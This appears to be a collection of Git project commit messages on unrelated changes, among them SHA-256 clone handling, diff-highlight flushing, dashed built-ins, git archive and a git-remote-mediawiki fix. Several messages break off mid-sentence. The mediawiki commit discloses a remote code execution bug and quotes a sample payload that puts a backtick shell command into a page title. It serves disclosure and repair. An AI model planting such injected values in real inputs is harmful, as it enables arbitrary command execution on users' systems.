If a user is cloning a SHA-1 repository with GIT_DEFAULT_HASH set to
"sha256", then we can end up with a repository where the repository
format version is 0 but the extensions.objectformat key is set to
"sha256". This is both wrong (the user has a SHA-1 repository) and
nonfunctional (because the extension cannot be used in a v0 repository).
This happens because in a clone, we initially set up the repository, and
then change its algorithm based on what the remote side tells us it's
using. We've initially set up the repository as SHA-256 in this case,
and then later on reset the repository version without clearing the
extension.
We could just always set the extension in this case, but that would mean
that our SHA-1 repositories weren't compatible with older Git versions,
even though there's no reason why they shouldn't be. And we also don't
want to initialize the repository as SHA-1 initially, since that means
if we're cloning an empty repository, we'll have failed to honor the
GIT_DEFAULT_HASH variable and will end up with a SHA-1 repository, not a
SHA-256 repository.
Neither of those are appealing, so let's tell the repository
initialization code if we're doing a reinit like this, and if so, to
clear the extension if we're using SHA-1. This makes sure we produce a
valid and functional repository and doesn't break any of our other use
cases.

We try to flush the output from diff-highlight whenever we see a blank
line. That lets you see the output for each commit as soon as it is
generated, even if Git is still chugging away at a diff, or traversing
to find the next commit.
However, our "blank line" match checks length($_). That won't ever be
true, because we haven't chomped the line ending. As a result, we never
flush. Instead, let's use a simple regex which handles line endings in
with the end-of-line marker.
This has been broken since the initial version in 927a13fe87 (contrib:
add diff highlight script, 2011-10-18). Probably nobody noticed because:
- most output is big enough, or comes fast enough, that it flushes
anyway. And it can be difficult to notice the difference between
"show a commit, then pause" and "pause, then show two commits". I
only noticed because I was viewing "git log" output on a repo with a
very slow textconv filter.
- if stdout is going to the terminal (and not another pager like
less), then the flush isn't necessary. So any manual testing would
show it appearing to work.
You can easily see the difference with something like:
echo '* diff=slow' >>.gitattributes
git -c diff.slow.textconv='sleep 1; cat' \
-c pager.log='diff-highlight | less' \
log -p
That should generate one commit every second or so (more if it touches
multiple files), but without this patch it waits for many seconds before
generating several pages of output.

The variable core_partial_clone_filter_default has been unused since
fa3d1b63e8 ("promisor-remote: parse remote.*.partialclonefilter",

remote.*.partialclonefilter as the default filter when fetching in a

core.partialclonefilter.
One alternative is to add the fallback, but the aforementioned change
was made more than a year ago and I have not heard of any complaints
regarding this matter. In addition, there is currently no mention of
core.partialclonefilter in the user documentation. So it seems best to
reaffirm that Git will only support remote.*.partialclonefilter.

Since e4597aae65 (run test suite without dashed git-commands in PATH,
2009-12-02), we stopped running our tests with `git-foo` binaries found
at the top-level directory of a freshly built source tree; instead we
have placed only `git` and selected `git-foo` commands that must be on
`$PATH` in `bin-wrappers/` and prepended that `bin-wrappers/` to the
`PATH` used in the test suite. We did that to catch the tests and
scripted Git commands that still try to use the dashed form.
Since CI jobs will not install the built Git to anywhere, and the
hardlinks we make at the top-level of the source tree for `git-add` and
friends are not even used during tests, they are pure waste of resources
these days.
Thanks to the newly invented `SKIP_DASHED_BUILT_INS` knob, we can now
skip creating these links in the source tree. So let's do that.
Note that this change introduces a subtle change of behavior: when Git's
`cmd_main()` calls `setup_path()`, it inserts the value of
`GIT_EXEC_PATH` (defaulting to `<prefix>/libexec/git-core`) at the
beginning of the environment variable `PATH`. This is necessary to find
e.g. scripted commands that are installed in that location. For the
purposes of Git's test suite, the `bin-wrappers/` scripts override
`GIT_EXEC_PATH` to point to the top-level directory of the source code.
In other words, if a scripted command had used a dashed invocation of a
built-in Git command, it would not have been caught previously, which is
fixed by this change.

For a long time already, the non-dashed form of the built-ins is the
recommended way to write scripts, i.e. it is better to call `git merge
[...]` than to call `git-merge [...]`.
While Git still supports the dashed form (by hard-linking the `git`
executable to the dashed name in `libexec/git-core/`), in practice, it
is probably almost irrelevant.
However, we *do* care about keeping people's scripts working (even if
they were written before the non-dashed form started to be recommended).
Keeping this backwards-compatibility is not necessarily cheap, though:
even so much as amending the tip commit in a git.git checkout will
require re-linking all of those dashed commands. On this developer's
laptop, this makes a noticeable difference:

Also, `.zip` files do not have any standardized support for hard-links,
therefore "zipping up" the executables will result in inflated disk
usage. (To keep down the size of the "MinGit" variant of Git for
Windows, which is distributed as a `.zip` file, the hard-links are
excluded specifically.)
In addition to that, some programs that are regularly used to assess
disk usage fail to realize that those are hard-links, and heavily
overcount disk usage. Most notably, this was the case with Windows
Explorer up until the last couple of Windows 10 versions. See e.g.
https://github.com/msysgit/msysgit/issues/58.
To save on the time needed to hard-link these dashed commands, with the

The `t3200-branch.sh` script uses variations of this name for branches
other than the default one. So let's change those names, as
"lowest-hanging fruits" in the effort to use more inclusive naming
throughout Git's source code. While at it, make those branch names
independent from the default branch name.
In this particular instance, this rename requires a couple of
non-trivial adjustments, as the aligned output depends on the maximum

Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:

I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).
But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:

# Joern Schneeweisz - GitLab Security Research Team

Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.
The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.
As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.
This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.
While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)
* Use MediaWiki's own defaults where possible, e.g. before we'd name
the database "wikidb.sqlite", now we'll simply use whatever name
MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
directory name the SQLite file will be dropped into, not the full
path.
* Put all of our database & download assets into a new "mediawiki/"
folder. This makes it easier to reason about as the current &
template "backup" database the tests keep swapping around live
next to each other.
This'll also prevent future potential breakage as there isn't a
single SQLite database. MediaWiki also creates a job queue
database and a couple of cache databases. In practice it seems we
got away with not resetting these when we reset the main database,
but it's the sort of thing that could break in the future (reset,
main store doesn't have the article, but the cache does).
* The "delete" function now only deletes the MediaWiki installation
& database, not the downloaded .tar.gz file. This makes us
friendlier to a developer on a slow connection.

rebase here.

In many projects, squash merges are commonly used, primarily to keep a
tidy history in the face of developers who do not use logically
independent, bisectable commits. As common as this is, this tends to
cause significant problems when squash merges are used to merge
long-running branches due to the lack of any new merge bases. Even very
experienced developers may make this mistake, so let's add a FAQ entry
explaining why this is problematic and explaining that regular merge
commits should be used to merge two long-running branches.

The refs update commands can be sent to the server side in two different
ways: GPG-signed or unsigned. We should run these two operations in the
same "Finally, tell the other end!" code block, but they are seperated
by the "Clear the status for each ref" code block. This will result in
a slight performance loss, because the failed atomic push will still
perform unnecessary preparations for shallow advertise and GPG-signed
commands buffers, and user may have to be bothered by the (possible) GPG
passphrase input when there is nothing to sign.
Add a new test case to t5534 to ensure GPG will not be called when the
GPG-signed atomic push fails.

Add untracked files for the dist target directly using git archive
instead of calling tar cr to append them. This reduces the dependency
on external tools and gives the untracked files the same access times
and user information as tracked ones, integrating them seamlessly.

Allow users to append non-tracked files. This simplifies the generation
of source packages with a few extra files, e.g. containing version
information. They get the same access times and user information as
tracked files.

Centralize reading of symlink destinations and the contents of regular
files that are too small to be streamed. This reduces code duplication
and allows future patches to add support for adding non-tracked files to
archives. The backends are expected to stream blobs if buffer is NULL.
object_file_to_archive() is only called from archive.c and thus no
longer exported.
